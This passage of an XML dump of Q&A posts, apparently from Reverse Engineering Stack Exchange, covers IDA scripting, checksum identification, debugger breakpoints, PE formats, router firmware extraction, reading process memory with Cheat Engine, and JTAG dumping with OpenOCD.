will decompile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that hexrays doesn't accept the template arguments &lt;code&gt;&amp;lt;char&amp;gt;&lt;/code&gt; and namespace specifier &lt;code&gt;std::&lt;/code&gt; in a function prototype.&#xA;Since changing the prototype does not rename the function you can replace the function name with any name, as long as ida considers it valid.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2017-06-06T06:42:51.150" LastActivityDate="2017-06-06T06:42:51.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15483" PostTypeId="2" ParentId="15454" CreationDate="2017-06-05T10:42:46.787" Score="2" Body="&lt;p&gt;I am not sure what you are trying to accomplish.&#xA;My guess is you are trying to document each command entry in a list of commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing struct membernames is done in the structs view, or using the idc function &lt;code&gt;SetMemberName&lt;/code&gt;.&#xA;That will change the member name for all instances of the struct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to do this programatically for all Members using something like this in idc script ( untested ):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sid = GetStrucIdByName(&quot;Commands_Array&quot;);&#xA;for (sofs = GetFirstMember(sid) ; sofs&amp;lt;=GetLastMember(sid) ; sofs += GetMemberSize(sid, sofs)) {&#xA;     SetMemberName(sid, sofs, &quot;yournewname&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But maybe you are trying to give names to entries in an array of structs?&#xA;In that case, uncheck the &lt;code&gt;Create as array&lt;/code&gt; checkbox in the array properties.&#xA;Then you will be able to assign names to each item in the array of structs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe you are just looking for the expanded view of the struct?&#xA;That may be accomplished by typing &lt;code&gt;ctrl +&lt;/code&gt;, or unhide in the view menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is not possible, is assign names, or comments to individual items in an array.&#xA;You can add a repeatable comment to a struct member, which will than be the same for each struct in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do you want to change the values in the structs? For that you would use functions like &lt;code&gt;PatchByte&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think i know what you want to do: You want to rename the subs in the struct. Not the struct membernames themselves.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MakeName(Dword(ofs))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2017-06-05T18:38:08.393" LastActivityDate="2017-06-05T18:38:08.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15484" PostTypeId="1" AcceptedAnswerId="15485" CreationDate="2017-06-05T19:10:10.253" Score="0" ViewCount="3371" Body="&lt;p&gt;I'm trying to find out, how the checksumming in an RS485 communication works.&#xA;The data is packetized and seems to be using 8bit checksums. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One packet per line, the last byte that isn't 0x00 seems to be the checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to generate this data which is incrementing continuously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;0xAA at the beginning is the preamble of the packet, so that probably isn't part of the checksum. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aa1c01010439000000000000000002a600001429000025caff000000d8000000&#xA;aa1c01010439000000000000000002a600001429000025ca00000000d9000000&#xA;aa1c01010439000000000000000002a600001429000025cb00000000da000000&#xA;aa1c01010439000000000000000002a600001429000025cc00000000db000000&#xA;aa1c01010439000000000000000002a600001429000025cd00000000dc000000&#xA;aa1c01010439000000000000000002a600001429000025ce00000000dd000000&#xA;aa1c01010439000000000000000002a600001429000025cf00000000de000000&#xA;aa1c01010439000000000000000002a600001429000025d000000000df000000&#xA;aa1c01010439000000000000000002a600001429000025d100000000e0000000&#xA;aa1c01010439000000000000000002a600001429000025d200000000e1000000&#xA;aa1c01010439000000000000000002a600001429000025d300000000e2000000&#xA;aa1c01010439000000000000000002a600001429000025d400000000e3000000&#xA;aa1c01010439000000000000000002a600001429000025d500000000e4000000&#xA;aa1c01010439000000000000000002a600001429000025d600000000e5000000&#xA;aa1c01010439000000000000000002a600001429000025d700000000e6000000&#xA;aa1c01010439000000000000000002a600001429000025d800000000e7000000&#xA;aa1c01010439000000000000000002a600001429000025d900000000e8000000&#xA;aa1c01010439000000000000000002a600001429000025da00000000e9000000&#xA;aa1c01010439000000000000000002a600001429000025db00000000ea000000&#xA;aa1c01010439000000000000000002a600001429000025dc00000000eb000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have some more data, but that has much more going on in it: &#xA;&lt;a href=&quot;https://gist.github.com/Manawyrm/0167fec375d3756dda19c750998f34fc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/Manawyrm/0167fec375d3756dda19c750998f34fc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a simple XOR and CRC8 implementation, and have tried every offset for the start of the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone recognize the checksum algorithm used here? It seems relativly simple, because the checksum is incrementing together with the data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Tobias&lt;/p&gt;&#xA;" OwnerUserId="20439" LastActivityDate="2017-06-05T21:48:25.643" Title="Simple 8bit checksum" Tags="|crc|xor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15485" PostTypeId="2" ParentId="15484" CreationDate="2017-06-05T21:48:25.643" Score="2" Body="&lt;p&gt;It is a plain byte sum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the last line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aa+1c+01+01+04+39+00+00+00+00+00+00+00+00+02+a6+00+00+14+29+00+00+25+dc&#xA;=&#xA;02EB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2017-06-05T21:48:25.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15487" PostTypeId="2" ParentId="13106" CreationDate="2017-06-06T03:38:48.217" Score="7" Body="&lt;p&gt;Yes, you can use the enhanced &lt;strong&gt;x64dbg&lt;/strong&gt; feature for placing &lt;strong&gt;BP&lt;/strong&gt; on any window of the debugged app and hence intercept any message being sent to any of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After running the &lt;strong&gt;exe&lt;/strong&gt;, go to &lt;code&gt;Handles tab &amp;gt; Right-click &amp;gt;Refresh&lt;/code&gt; -and watch over &lt;em&gt;Windows&lt;/em&gt; widget and locate the window you want to put the &lt;strong&gt;BP&lt;/strong&gt; on. Then Right click-&gt;&lt;em&gt;Message breakpoint&lt;/em&gt;, a window will pop up, now select the desired window message based on what you want to pause your program after. In case of a button, &lt;strong&gt;WM_LBUTTONUP&lt;/strong&gt; would do it, in case of an editbox &lt;strong&gt;WM_KEYUP&lt;/strong&gt; will also work and so on, you got a ton of messages to choose from. Then you got a couple more checkboxes, select &quot;&lt;em&gt;...current window&lt;/em&gt;&quot; to pause only when the message is passed to the selected window.&#xA;Now, sometimes these windows procs BPs won't work or even pause as expected, in this case, try checking &lt;code&gt;Use TranslateMessage&lt;/code&gt; option and that would do it.&lt;/p&gt;&#xA;" OwnerUserId="20443" LastEditorUserId="10008" LastEditDate="2018-12-01T17:35:22.517" LastActivityDate="2018-12-01T17:35:22.517" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15488" PostTypeId="1" CreationDate="2017-06-06T05:35:59.087" Score="0" ViewCount="120" Body="&lt;p&gt;I have no experience with Windows Store Apps and there appears to be limited info out because they are still relatively new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When I open a store app in analysis tools such as PE Studio and IDA Pro, it's got quite a jungle of symbols. Are these apps running in a VM?&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any constant unique way to identify a Windows Store app by its header info? It appears to be a standard PE to me, however, it definitely is &quot;corrupt&quot; as far as Windows 7 and before is concerned. Of course is isn't designed to be run in those environments, but I'm studying the format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any good papers or other info on reversing or otherwise technical studies on the Windows Store Apps?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-06-06T06:53:54.030" Title="Are Windows Store Apps in a VM and can they be identified by PE header info?" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15489" PostTypeId="2" ParentId="15488" CreationDate="2017-06-06T06:53:54.030" Score="1" Body="&lt;p&gt;Windows Store Apps are .NET applications so probably better would be to open them in .NET Disassembler (like &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;They are executed by .NET runtime so VM is a good way of calling what's going on there. Read about the JIT compiler.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There will be a &lt;code&gt;.NET Directory&lt;/code&gt; present inside the PE (&lt;a href=&quot;https://www.codeproject.com/articles/12585/the-net-file-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;.net file format&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for any info about .NET apps - a lot of them is available.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-06-06T06:53:54.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15490" PostTypeId="2" ParentId="15460" CreationDate="2017-06-06T12:14:55.550" Score="0" Body="&lt;p&gt;The version 1.5.0 built with mingw32 is not working, try to use 1.4.0 instead until 1.6.0 is released &lt;a href=&quot;https://github.com/radare/radare2/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; or download the msvc build &lt;a href=&quot;http://cloud.radare.org/get/1.5.0/radare2-w64_msvc-1.5.0.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20446" LastEditorUserId="20447" LastEditDate="2017-06-06T19:32:04.677" LastActivityDate="2017-06-06T19:32:04.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15491" PostTypeId="2" ParentId="15460" CreationDate="2017-06-06T12:42:20.117" Score="3" Body="&lt;p&gt;Use the binaries built with MSVC &lt;a href=&quot;http://radare.mikelloc.com/get/2.3.0/radare2_installer-msvc_32-2.3.0.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://radare.mikelloc.com/get/2.3.0/radare2_installer-msvc_32-2.3.0.exe&lt;/a&gt; or this one &lt;a href=&quot;http://radare.mikelloc.com/get/2.3.0/radare2_installer-msvc_64-2.3.0.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://radare.mikelloc.com/get/2.3.0/radare2_installer-msvc_64-2.3.0.exe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3721" LastEditorUserId="3721" LastEditDate="2018-03-02T09:45:28.540" LastActivityDate="2018-03-02T09:45:28.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15492" PostTypeId="2" ParentId="15128" CreationDate="2017-06-06T14:03:24.130" Score="3" Body="&lt;p&gt;It sounds like you aren't sure what you want to do exactly. Is there any part of the firmware you want to reverse engineer in particular? I suggest you first start by reading some blog posts on &lt;a href=&quot;http://www.devttys0.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;devttys0.com&lt;/a&gt;, as he seems like an excellent source for information about reverse-engineering router firmwares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a binary contains symbols, IDA Pro should automatically load them for you. Very often router firmwares have had their symbols stripped. However, the Linux kernel is licensed under the GPL, meaning that the manufacturer is obligated to provide the source code for the kernel. And Linksys &lt;a href=&quot;http://www.linksys.com/us/support-article?articleNum=114663&quot; rel=&quot;nofollow noreferrer&quot;&gt;does provide the source code&lt;/a&gt; for your router's kernel; you can start by looking at that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often, however, interesting stuff is in kernel modules and/or binaries in the rootfs, not the kernel itself. I downloaded the &lt;a href=&quot;http://www.linksys.com/us/support-article?articleNum=156227&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware for your router&lt;/a&gt; and extracted it with &lt;code&gt;binwalk -Mrev&lt;/code&gt;, and binwalk was indeed able to extract the rootfs. Look through it to see if you can find anything interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, let's look at the main web CGI binary, &lt;code&gt;usr/sbin/setup.cgi&lt;/code&gt;. Running &lt;code&gt;file&lt;/code&gt; against this file gives the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;usr/sbin/setup.cgi: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The binary has been stripped, but looking at the symbol table  with &lt;code&gt;readelf -s usr/sbin/setup.cgi&lt;/code&gt;, we can still see quite a few interesting function names. Next, we can look at the strings in the binary with &lt;code&gt;strings&lt;/code&gt;. (I personally prefer using &lt;code&gt;strings -n8&lt;/code&gt; because often strings less than 8 characters are false positives, and when they aren't, they are usually unimportant anyways.) Often the strings of a binary can reveal quite a bit about what the binary does and how the binary works, and this is made easier by the fact that router manufacturers love using &lt;code&gt;system(3)&lt;/code&gt; to run Linux shell commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you know that you have found an interesting binary, you can then load it into IDA Pro to disassemble it and start reverse-engineering it.&lt;/p&gt;&#xA;" OwnerUserId="20448" LastActivityDate="2017-06-06T14:03:24.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15494" PostTypeId="2" ParentId="15476" CreationDate="2017-06-06T23:17:15.007" Score="1" Body="&lt;p&gt;Kris Kaspersky's (RIP) book called Hacker Disassembly Uncovered (freely available in chm format, just google for it) has a whole chapter just on that topic - he shows different code snippets (starting with really simple ones and then goes to floating points, virtual functions tables and other C++ constructs) under different compilers and does a line-by-line disassembly with in-depth insights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This book does exactly what you're asking for.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-06-06T23:17:15.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15497" PostTypeId="1" CreationDate="2017-06-07T06:57:17.110" Score="1" ViewCount="706" Body="&lt;p&gt;i am reading the  &quot;The Grey Hat Hacking-The ethical hacker's Handbook&quot;.The book is nice ,but there is a doubt on a particular subject.In the vulnerability analysis chapter it is trying to analyze a vulnerability using IDA-PRO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a twist on it.As we know stack variables are pushed right to left fashion.&#xA;Ex:function x(int x, int y, int z),so variable will push into following order &#xA;push z&#xA;push y&#xA;push x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the book it is saying about function name which is below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dmcPj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dmcPj.jpg&quot; alt=&quot;function Name&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function Format is as below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sXMub.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sXMub.jpg&quot; alt=&quot;Function format&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then after that it is saying if we click any variable in IDA-PRO it will give up to below stack layout where arguments of function are passed.chek the below image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;img src=&quot;https://i.stack.imgur.com/fJ1IP.jpg&quot; alt=&quot;stack layout[2]&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if we see the above picture we can see that arguments are not passed in the proper way.something mixed up .i mean to say not &quot;right to left&quot; manner, which is little bit confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea, please let me know&lt;/p&gt;&#xA;" OwnerUserId="15305" LastActivityDate="2017-06-09T22:48:42.803" Title="Understanding the variables in stack layout" Tags="|ida|disassembly|disassemblers|patch-reversing|vulnerability-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15498" PostTypeId="2" ParentId="15472" CreationDate="2017-06-07T07:05:42.990" Score="4" Body="&lt;p&gt;Based on my experience, these type of errors could happen when &lt;code&gt;MajorOperatingSystem/MinorOperatingSystem&lt;/code&gt; and/or &lt;code&gt;MajorSubsystemVersion/MinorSubsystemVersion&lt;/code&gt; are not compatible with the system you are trying to run the PE file. You can find more information about that in Corkami &lt;a href=&quot;https://github.com/corkami/docs/blob/master/PE/PE.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; regarding PE file format. Also, you can look at the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Peering inside the PE...&lt;/a&gt; paper on Microsoft website which says for these fields:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;WORD MajorOperatingSystemVersion&#xA;  WORD MinorOperatingSystemVersion&lt;/strong&gt;&#xA;  The minimum version of the operating system required to use this executable. This field is somewhat ambiguous since the subsystem fields (a few fields later) appear to serve a similar purpose. This field defaults to 1.0 in all Win32 EXEs to date.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;WORD MajorSubsystemVersion&#xA;  WORD MinorSubsystemVersion&lt;/strong&gt;&#xA;  Contains the minimum subsystem version required to run the executable. A typical value for this field is 3.10 (meaning Windows NT 3.1).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, if you are interested in anomalies and undocumented stuff of the PE file format, I suggest this very good &lt;a href=&quot;https://media.blackhat.com/bh-us-11/Vuksan/BH_US_11_VuksanPericin_PECOFF_WP.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper&lt;/a&gt; which deals with anomalies in PE which can break poorly implemented parsers. Also, this &lt;a href=&quot;https://github.com/corkami/pocs/tree/master/PE&quot; rel=&quot;nofollow noreferrer&quot;&gt;site&lt;/a&gt; of Corkami contains POCs of various working PE samples (both source code and binaries), which test the format to its limits and can be used for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps out a bit.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2017-06-07T07:05:42.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15500" PostTypeId="1" AcceptedAnswerId="15501" CreationDate="2017-06-07T09:07:38.443" Score="3" ViewCount="5046" Body="&lt;p&gt;I am completely new to Windows programming so please excuse any naivety on my part when asking this question. I'll briefly describe my situation and then hopefully you'll be able to answer my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a small executable file that was written in Delphi and packed with Aspack 2.12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the file runs there is a variable called Total which gets incremented. When the file exits a .dat file gets updated with the new Total value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can program something to 'read' the Total from the .dat file (just by using php or one of the languages I'm familiar with). However, I would like to read the Total value in &quot;real time&quot; when the executable is running (I don't need to 'write' to the Total value - just read it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered if there was any way of writing an application that would &quot;reach in&quot; to a running executable and read a variable out of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember back in the Spectrum days you could &quot;peek&quot; and &quot;poke&quot; memory. Is something like this feasible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered if this is even possible and, if so, how could I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="20454" LastActivityDate="2017-06-07T09:16:11.660" Title="Is it possible to extract / read a variable out of a running .exe file?" Tags="|windows|executable|exe|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15501" PostTypeId="2" ParentId="15500" CreationDate="2017-06-07T09:16:11.660" Score="2" Body="&lt;p&gt;Look into &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;ReadProcessMemory&lt;/a&gt; WinAPI, alternatively &lt;a href=&quot;http://www.cheatengine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CheatEngine&lt;/a&gt; is a tool that can do all kinds of memory related operations for you (search, modify, freeze, debug, etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also search on Github for some other memory &quot;hacking&quot; projects in a language that you are familiar with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheat engine can find the exact memory address in the memory of the value you are looking for. You might be able to use some pointers to get the location of your value on each run, so you do not have to use CheatEngine each time to find the address. I recommend you go trough the tutorial which comes with Cheat Engine, so you get a better understanding of pointers :)&lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2017-06-07T09:16:11.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15504" PostTypeId="1" AcceptedAnswerId="15506" CreationDate="2017-06-07T20:09:08.117" Score="2" ViewCount="184" Body="&lt;p&gt;** Edit ** After some great help from @tylernygaard I have discovered that the same variable is being written to two difference places in the memory. They are both 'static' addresses. Problem solved. Original question below....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted a question earlier regarding &quot;reading&quot; a variable from an executable &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15500/is-it-possible-to-extract-read-a-variable-out-of-a-running-exe-file/15501&quot;&gt;here&lt;/a&gt; (Please excuse my naivety in this area)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply wanted to &quot;read&quot; a Total variable from an executable whilst it was running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was recommended a program called Cheat Engine which I have downloaded, completed the tutorial and then used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one PC, Cheat Engine showed the variable at address &quot;0096E0B4&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of curiosity I installed Cheat Engine on another PC and the variable was at address &quot;0096E0A4&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These addresses are so close that I'm assuming this isn't just dynamically chosen at runtime (is it?). So I wondered if anyone knew why they would be different?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And whether it would still be possible to write some code to read the correct value?&lt;/p&gt;&#xA;" OwnerUserId="20454" LastEditorUserId="20454" LastEditDate="2017-06-08T09:09:58.847" LastActivityDate="2017-06-08T09:09:58.847" Title="Help reading a variable from an address in an executable?" Tags="|exe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15505" PostTypeId="1" AcceptedAnswerId="15507" CreationDate="2017-06-08T04:44:09.590" Score="2" ViewCount="192" Body="&lt;p&gt;I have found myself confused while reversing some programs (specifically the IOLI Crackme challenges). I have no trouble solving them, but I have come across something that I do not understand and it irks me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a function call to, in this example, &lt;strong&gt;sub_80484B4&lt;/strong&gt;. The caller is &lt;strong&gt;sub_8048542&lt;/strong&gt;. It pushes to values on the stack, (&lt;strong&gt;arg_4&lt;/strong&gt; and &lt;strong&gt;num&lt;/strong&gt;). However, As you can see in the disassembly of &lt;strong&gt;sub_80484B4&lt;/strong&gt;, it only shows one argument, &lt;strong&gt;arg_4&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened to &lt;strong&gt;num&lt;/strong&gt;? Is Ida just saying &lt;strong&gt;arg_4&lt;/strong&gt; only because &lt;strong&gt;num's&lt;/strong&gt; value is not referenced in the callee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Radare2 and it showed the same thing. Am I missing something or are the tools just simplifying?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0USWi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0USWi.png&quot; alt=&quot;Caller pushes two values onto stack&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/zLRc7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zLRc7.png&quot; alt=&quot;Callee shows one argument&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20368" LastEditorUserId="18698" LastEditDate="2017-12-16T16:52:54.640" LastActivityDate="2017-12-16T16:52:54.640" Title="Two arguments pushed on stack, callee only shows one argument" Tags="|disassembly|radare2|stack|arguments|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15506" PostTypeId="2" ParentId="15504" CreationDate="2017-06-08T04:57:17.190" Score="2" Body="&lt;p&gt;You will know if they are static addresses if Cheat Engine shows them green on the search results screen. See pic related. &lt;a href=&quot;https://i.stack.imgur.com/s9c69.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s9c69.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20368" LastActivityDate="2017-06-08T04:57:17.190" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15507" PostTypeId="2" ParentId="15505" CreationDate="2017-06-08T05:16:04.380" Score="3" Body="&lt;p&gt;Yes, the disassembler is not including it since &lt;code&gt;[ebp+8]&lt;/code&gt; is not referenced anywhere in the procedure. &lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2017-06-08T05:16:04.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15508" PostTypeId="1" CreationDate="2017-06-08T08:01:37.113" Score="1" ViewCount="1730" Body="&lt;p&gt;Issuing some commands for the dumped firmware:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ du -h fw.bin&#xA;4.0 M&#xA;&#xA;$ file fw.bin&#xA;fw.bin: data&#xA;&#xA;$ file -i fw.bin&#xA;fw.bin: application/octet-stream; charset=binary&#xA;&#xA;$ binwalk fw.bin&#xA;-&#xA;&#xA;$ enca -L none fw.bin&#xA;-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The way that I have dumped the firmware is by using the JTAG port:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IiUqm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IiUqm.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the pins on the linksys router are set according to the figure described in the datasheet (www.cse.buffalo.edu/~bina/amrita/cse524/wrt54gl.pdf):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2a6Bb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2a6Bb.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the corresponding pins from the BusPirate v3.6 is put on based on the reference (dangerousprototypes.com/docs/Bus_Pirate_I/O_Pin_Descriptions):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OpenOCD command has been issued such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo openocd -f interface/buspirate.cfg -f board/linksys-wrt54gl.cfg -c &quot;init&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The configurations for BusPirate&#xA;&lt;code&gt;interace/buspirate.cfg&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;interface buspirate&#xA;buspirate_port /dev/ttyUSB0&#xA;buspirate_speed normal&#xA;reset_config srst_only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the &lt;code&gt;board/linksys-wrt54gl.cfg&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Linksys WRT54GL v1.1&#xA;#&#xA;source [find target/bcm5352e.cfg]&#xA;set partition_list {&#xA;    CFE         { Bootloader                    0x1c000000 0x00040000 }&#xA;    firmware    { &quot;Kernel+rootfs&quot;               0x1c040000 0x003b0000 }&#xA;    nvram       { &quot;Config space&quot;                0x1c3f0000 0x00010000 }&#xA;}&#xA;&#xA;# External 4MB NOR Flash (Intel TE28F320C3BD90 or similar)&#xA;set _FLASHNAME $_CHIPNAME.flash&#xA;flash bank $_FLASHNAME cfi 0x1c000000 0x00400000 2 2 